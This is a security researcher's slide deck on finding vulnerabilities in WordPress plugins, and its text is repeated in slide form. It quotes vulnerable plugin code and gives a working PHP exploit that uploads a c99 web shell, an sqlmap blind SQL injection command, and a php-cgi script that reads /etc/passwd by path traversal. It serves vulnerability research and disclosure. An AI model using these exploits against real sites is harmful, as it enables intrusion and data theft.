Hacking WordPress Plugins Larry W. Cashdollar 8/1/2015 v1.2
What is WordPress • Content Management System (CMS) • 23% of all websites (3/23/15) • Plugins - add functionality • Plugins may be authored by anyone
Why hack WordPress plugins? • #1 CMS by number and percentage • Poor security model • Lack of QA on 3rd party plugins • More fun than Ruby Gems
Methodology • Large code footprint with plugins and themes • Prefer no authentication required to exploit* • Look for PHP code that might be exploitable • Search specific traits or patterns: – upload.php – download.php – proxy.php
Requirements • Processes user input • Has reachable code, not just defining a class • Doesn’t check if accessed directly • Doesn’t require authentication • Doesn’t require WP API hooks*
Vulnerabilities • LFI • RFI • RCE • Open Proxies • SQL Injection • XSS
Plugin Code Criteria • Doesn’t have POST/GET/FILE/REQUEST PUNT • If (!defined(ABSPATH)) die; PUNT • If (!is_admin) die; PUNT • Function class() {}; PUNT • May have Injectable SELECT, INSERT, DELETE, UPDATE, etc.
A Quick Look • Download a few random plugins • Examine files named upload.php or download.php • Found RFI in videowhisper-video-presentation • The code:
1 <?php 2 3 if ($_GET["room"]) $room=$_GET["room"]; 4 if ($_POST["room"]) $room=$_POST["room"]; 5 $filename=$_FILES['vw_file']['name']; 6 7 include_once("incsan.php"); 8 sanV($room); 9 if (!$room) exit; 10 sanV($filename); 11 if (!$filename) exit; 12 13 if (strstr($filename,'.php')) exit; 14 15 //do not allow uploads to other folders 16 if ( strstr($room,"/") || strstr($room,"..") ) exit; 17 if ( strstr($filename,"/") || strstr($filename,"..") ) exit; 18 19 $destination="uploads/".$room."/"; 20 if ($_GET["slides"]) $destination .= "slides/"; 21 22 $ext=strtolower(substr($filename,-4)); 23 $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi ",".mpg",".ppt",".pps "); 24 25 if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename); 26 ?>loadstatus=1
Exploiting it • Upload .phtml .shtml • Execute as www-data user • Previously patched (I circumvented)* • Also present in videowhisper-video- conference-integration * Annoying but still fun
Initial Progress • Downloaded 10 random plugins • Found RFI in two of them! • Plugins had ~ 5k downloads • Must be more vulnerabilities out there
Automate? • Download lots of plugins • grep code for specific patterns? • Same idea as Ruby Gem research I did • Easy to test with PoC • More fun! • Maybe write code to flag high risk code?
Code Ferret v1.0 Feature Doc • Supply list of .php files to examine • Check for user input • Ignore if author checks for ABSPATH etc.. • Look for SQL functions • Flag if use of WP API • Flag if include files
Code Ferret v1.0 Design Doc • Look for specific functions and strings • Anything of interest added to link list • Link list stores line number and reason for flag • Dump output & statistics • ANSI COLOR!
Semi Automatic • git pull https://plugins.svn.wordpress.org • Scraped Plugins off wordpress.org • Downloaded 36,000 plugins • About 20 GB of data • upload.php or download.php • Use Ferret v1.0 to quickly examine lots of files • Profit! Err get some CVEs
Ferret output
Ferret First Run • wp-powerplaygallery v3.3 • Flagged for user input with no access controls • Accesses WordPress API calls • Loads WordPress functions via require_once() • Code examination turns up RFI and Blind SQLi!
wp-powerplaygallery RFI Code 143: if (!empty($_FILES)) { 144: if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) { 145: die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."} , "id" : "id"}'); 146: } 147: 148: // Read binary input stream and append it to temp file 149: if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) { 150: die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); 151: } . 158: while ($buff = fread($in, 4096)) { 159: fwrite($out, $buff); 160: }
wp-powerplaygallery SQLI code 131: $query = "INSERT INTO ".$wpdb->prefix."pp_images (`category_id`, `title`, `description`, `price`, `thumb`, `image`, `status`, `order`, `creation_date` ) VALUES (".$_REQUEST['albumid'].",'".$imgname[0]."','".$imgname[0]."','','".$resize."',' ".$_REQUEST['name']."',1,'','NULL')"; 133 : $wpdb->query($query);
RFI Exploit Requirements • POST request • Variable albumid must point at existing album in database • File to upload must exist locally • Use c99 shell as our payload • file variable contains payload with local full path • name variable contains our filename
PoC Exploit • <?php • /*Remote shell upload exploit for wp-powerplaygallery v3.3 */ • /*Larry W. Cashdollar @_larry0 • 6/27/2015 • albumid needs to be a numeric value matching an existing album number, 1 is probably a good start • but you can enumerate these by using curl, and looking for redirect 301 responses: • e.g. $ curl http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big • ->301 exists else 404 doesn't. • shell is http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big/shell.php • */ • • • $target_url = 'http://www.vapidlabs.com/wp-content/plugins/wp-powerplaygallery/upload.php'; • $file_name_with_full_path = '/var/www/shell.php'; • • echo "POST to $target_url $file_name_with_full_path"; • $post = array('albumid'=>’1' , 'name' => 'shell.php','file'=>'@'.$file_name_with_full_path); • • $ch = curl_init(); • curl_setopt($ch, CURLOPT_URL,$target_url); • curl_setopt($ch, CURLOPT_POST,1); • curl_setopt($ch, CURLOPT_POSTFIELDS, $post); • curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); • $result=curl_exec ($ch); • curl_close ($ch); • echo "<hr>"; • echo $result; • echo "<hr>"; • ?>
Blind SQLi Exploit • Sqlmap $ sqlmap -u http://www.vapidlabs.com/wp-content/plugins/wp- powerplaygallery/upload.php --data "albumid=1” —dbms mysql –level 5 – risk 3
Lazy Exploits • Started using php-cgi to test exploits • The script Poc.sh #!/bin/sh export GATEWAY_INTERFACE=CGI/1.1 export PATH_TRANSLATED=UserSettings.php export QUERY_STRING=network=../../../../../../../../etc/passwd export REDIRECT_STATUS=CGI export REQUEST_METHOD=GET php-cgi ./plugin/buddystream/extensions/default/templates/UserSettings.php $ ./Poc.sh
Pitfalls of Exploitation • Exploitable code is a class and isn’t reachable* • Code uses WordPress functions or functions from other segments of code with no includes • Code is incomplete or just broken • Someone discovered it last year
Fatal Errors • [Thu Aug 06 07:22:58 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function trailingslashit() in /usr/share/wordpress/wp-content/plugins/ckeditor-for-wordpress/ckeditor_class.php on line 27 • [Sun Aug 02 13:55:06 2015] [error] [client 192.168.0.2] PHP Fatal error: require_once(): Failed opening required '/etc/wordpress/wp-settings.php' (include_path='.:/usr/share/php:/usr/share/pear') in /etc/wordpress/config-www.vapidlabs.com.php on line 90 • [Sun Aug 02 19:28:11 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20 • [Sun Aug 02 19:28:24 2015] [error] [client 192.168.0.16] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20 • [Sun Aug 02 19:28:28 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20
Vulnerable and Broken • <?php • $uploaddir = 'uploads/'; This needs to be full path • $file = $uploaddir . basename($_FILES['uploadfile']['name']); • if (move_uploaded_file($_FILES['uploadfile']['tmp_name' ], $file)) { • echo "success"; • } else { • echo "error"; • } • ?>
oddities • Return local IP address of server • Prints the FULL path of the webserver server • Plugin that downloads itself ?!
Statistics • 20 CVEs • 26* Vulnerabilities found • 6 were previously discovered and not included* • All in all 32 Vulnerabilities discovered • Dozens of known exploitable vulnerabilities remain unpatched * I now google ‘<pluginname> vulnerability’ before bothering to document
Improvements • Parse php scripts checking for reachable code • Use RIPS v1.0 (thanks Chad!) • Circle back and examine vulnerabilities that require login to WP for exploitation
Questions? • larry@akamai.com • Twitter @_larry0
Who Am I • 15 years at Akamai Technologies • ​Hobbyist Vulnerability Researcher • ​75+ CVEs • ​Formerly Unix Systems Administrator 17 years • ​Penetration Tester Back in Late 90s • Enjoy Writing and Breaking Code

Hacking Wordpress Plugins

  • 1.
    Hacking WordPress Plugins LarryW. Cashdollar 8/1/2015 v1.2
  • 2.
    What is WordPress •Content Management System (CMS) • 23% of all websites (3/23/15) • Plugins - add functionality • Plugins may be authored by anyone
  • 3.
    Why hack WordPressplugins? • #1 CMS by number and percentage • Poor security model • Lack of QA on 3rd party plugins • More fun than Ruby Gems
  • 4.
    Methodology • Large codefootprint with plugins and themes • Prefer no authentication required to exploit* • Look for PHP code that might be exploitable • Search specific traits or patterns: – upload.php – download.php – proxy.php
  • 5.
    Requirements • Processes userinput • Has reachable code, not just defining a class • Doesn’t check if accessed directly • Doesn’t require authentication • Doesn’t require WP API hooks*
  • 6.
    Vulnerabilities • LFI • RFI •RCE • Open Proxies • SQL Injection • XSS
  • 7.
    Plugin Code Criteria •Doesn’t have POST/GET/FILE/REQUEST PUNT • If (!defined(ABSPATH)) die; PUNT • If (!is_admin) die; PUNT • Function class() {}; PUNT • May have Injectable SELECT, INSERT, DELETE, UPDATE, etc.
  • 8.
    A Quick Look •Download a few random plugins • Examine files named upload.php or download.php • Found RFI in videowhisper-video-presentation • The code:
  • 9.
    1 <?php 2 3 if($_GET["room"]) $room=$_GET["room"]; 4 if ($_POST["room"]) $room=$_POST["room"]; 5 $filename=$_FILES['vw_file']['name']; 6 7 include_once("incsan.php"); 8 sanV($room); 9 if (!$room) exit; 10 sanV($filename); 11 if (!$filename) exit; 12 13 if (strstr($filename,'.php')) exit; 14 15 //do not allow uploads to other folders 16 if ( strstr($room,"/") || strstr($room,"..") ) exit; 17 if ( strstr($filename,"/") || strstr($filename,"..") ) exit; 18 19 $destination="uploads/".$room."/"; 20 if ($_GET["slides"]) $destination .= "slides/"; 21 22 $ext=strtolower(substr($filename,-4)); 23 $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi ",".mpg",".ppt",".pps "); 24 25 if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename); 26 ?>loadstatus=1
  • 10.
    Exploiting it • Upload.phtml .shtml • Execute as www-data user • Previously patched (I circumvented)* • Also present in videowhisper-video- conference-integration * Annoying but still fun
  • 11.
    Initial Progress • Downloaded10 random plugins • Found RFI in two of them! • Plugins had ~ 5k downloads • Must be more vulnerabilities out there
  • 12.
    Automate? • Download lotsof plugins • grep code for specific patterns? • Same idea as Ruby Gem research I did • Easy to test with PoC • More fun! • Maybe write code to flag high risk code?
  • 13.
    Code Ferret v1.0Feature Doc • Supply list of .php files to examine • Check for user input • Ignore if author checks for ABSPATH etc.. • Look for SQL functions • Flag if use of WP API • Flag if include files
  • 14.
    Code Ferret v1.0Design Doc • Look for specific functions and strings • Anything of interest added to link list • Link list stores line number and reason for flag • Dump output & statistics • ANSI COLOR!
  • 15.
    Semi Automatic • gitpull https://plugins.svn.wordpress.org • Scraped Plugins off wordpress.org • Downloaded 36,000 plugins • About 20 GB of data • upload.php or download.php • Use Ferret v1.0 to quickly examine lots of files • Profit! Err get some CVEs
  • 16.
  • 17.
    Ferret First Run •wp-powerplaygallery v3.3 • Flagged for user input with no access controls • Accesses WordPress API calls • Loads WordPress functions via require_once() • Code examination turns up RFI and Blind SQLi!
  • 18.
    wp-powerplaygallery RFI Code 143:if (!empty($_FILES)) { 144: if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) { 145: die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."} , "id" : "id"}'); 146: } 147: 148: // Read binary input stream and append it to temp file 149: if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) { 150: die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}'); 151: } . 158: while ($buff = fread($in, 4096)) { 159: fwrite($out, $buff); 160: }
  • 19.
    wp-powerplaygallery SQLI code 131:$query = "INSERT INTO ".$wpdb->prefix."pp_images (`category_id`, `title`, `description`, `price`, `thumb`, `image`, `status`, `order`, `creation_date` ) VALUES (".$_REQUEST['albumid'].",'".$imgname[0]."','".$imgname[0]."','','".$resize."',' ".$_REQUEST['name']."',1,'','NULL')"; 133 : $wpdb->query($query);
  • 20.
    RFI Exploit Requirements •POST request • Variable albumid must point at existing album in database • File to upload must exist locally • Use c99 shell as our payload • file variable contains payload with local full path • name variable contains our filename
  • 21.
    PoC Exploit • <?php •/*Remote shell upload exploit for wp-powerplaygallery v3.3 */ • /*Larry W. Cashdollar @_larry0 • 6/27/2015 • albumid needs to be a numeric value matching an existing album number, 1 is probably a good start • but you can enumerate these by using curl, and looking for redirect 301 responses: • e.g. $ curl http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big • ->301 exists else 404 doesn't. • shell is http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big/shell.php • */ • • • $target_url = 'http://www.vapidlabs.com/wp-content/plugins/wp-powerplaygallery/upload.php'; • $file_name_with_full_path = '/var/www/shell.php'; • • echo "POST to $target_url $file_name_with_full_path"; • $post = array('albumid'=>’1' , 'name' => 'shell.php','file'=>'@'.$file_name_with_full_path); • • $ch = curl_init(); • curl_setopt($ch, CURLOPT_URL,$target_url); • curl_setopt($ch, CURLOPT_POST,1); • curl_setopt($ch, CURLOPT_POSTFIELDS, $post); • curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); • $result=curl_exec ($ch); • curl_close ($ch); • echo "<hr>"; • echo $result; • echo "<hr>"; • ?>
  • 22.
    Blind SQLi Exploit •Sqlmap $ sqlmap -u http://www.vapidlabs.com/wp-content/plugins/wp- powerplaygallery/upload.php --data "albumid=1” —dbms mysql –level 5 – risk 3
  • 23.
    Lazy Exploits • Startedusing php-cgi to test exploits • The script Poc.sh #!/bin/sh export GATEWAY_INTERFACE=CGI/1.1 export PATH_TRANSLATED=UserSettings.php export QUERY_STRING=network=../../../../../../../../etc/passwd export REDIRECT_STATUS=CGI export REQUEST_METHOD=GET php-cgi ./plugin/buddystream/extensions/default/templates/UserSettings.php $ ./Poc.sh
  • 24.
    Pitfalls of Exploitation •Exploitable code is a class and isn’t reachable* • Code uses WordPress functions or functions from other segments of code with no includes • Code is incomplete or just broken • Someone discovered it last year
  • 25.
    Fatal Errors • [ThuAug 06 07:22:58 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function trailingslashit() in /usr/share/wordpress/wp-content/plugins/ckeditor-for-wordpress/ckeditor_class.php on line 27 • [Sun Aug 02 13:55:06 2015] [error] [client 192.168.0.2] PHP Fatal error: require_once(): Failed opening required '/etc/wordpress/wp-settings.php' (include_path='.:/usr/share/php:/usr/share/pear') in /etc/wordpress/config-www.vapidlabs.com.php on line 90 • [Sun Aug 02 19:28:11 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20 • [Sun Aug 02 19:28:24 2015] [error] [client 192.168.0.16] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20 • [Sun Aug 02 19:28:28 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20
  • 26.
    Vulnerable and Broken •<?php • $uploaddir = 'uploads/'; This needs to be full path • $file = $uploaddir . basename($_FILES['uploadfile']['name']); • if (move_uploaded_file($_FILES['uploadfile']['tmp_name' ], $file)) { • echo "success"; • } else { • echo "error"; • } • ?>
  • 27.
    oddities • Return localIP address of server • Prints the FULL path of the webserver server • Plugin that downloads itself ?!
  • 28.
    Statistics • 20 CVEs •26* Vulnerabilities found • 6 were previously discovered and not included* • All in all 32 Vulnerabilities discovered • Dozens of known exploitable vulnerabilities remain unpatched * I now google ‘<pluginname> vulnerability’ before bothering to document
  • 29.
    Improvements • Parse phpscripts checking for reachable code • Use RIPS v1.0 (thanks Chad!) • Circle back and examine vulnerabilities that require login to WP for exploitation
  • 30.
  • 31.
    Who Am I •15 years at Akamai Technologies • ​Hobbyist Vulnerability Researcher • ​75+ CVEs • ​Formerly Unix Systems Administrator 17 years • ​Penetration Tester Back in Late 90s • Enjoy Writing and Breaking Code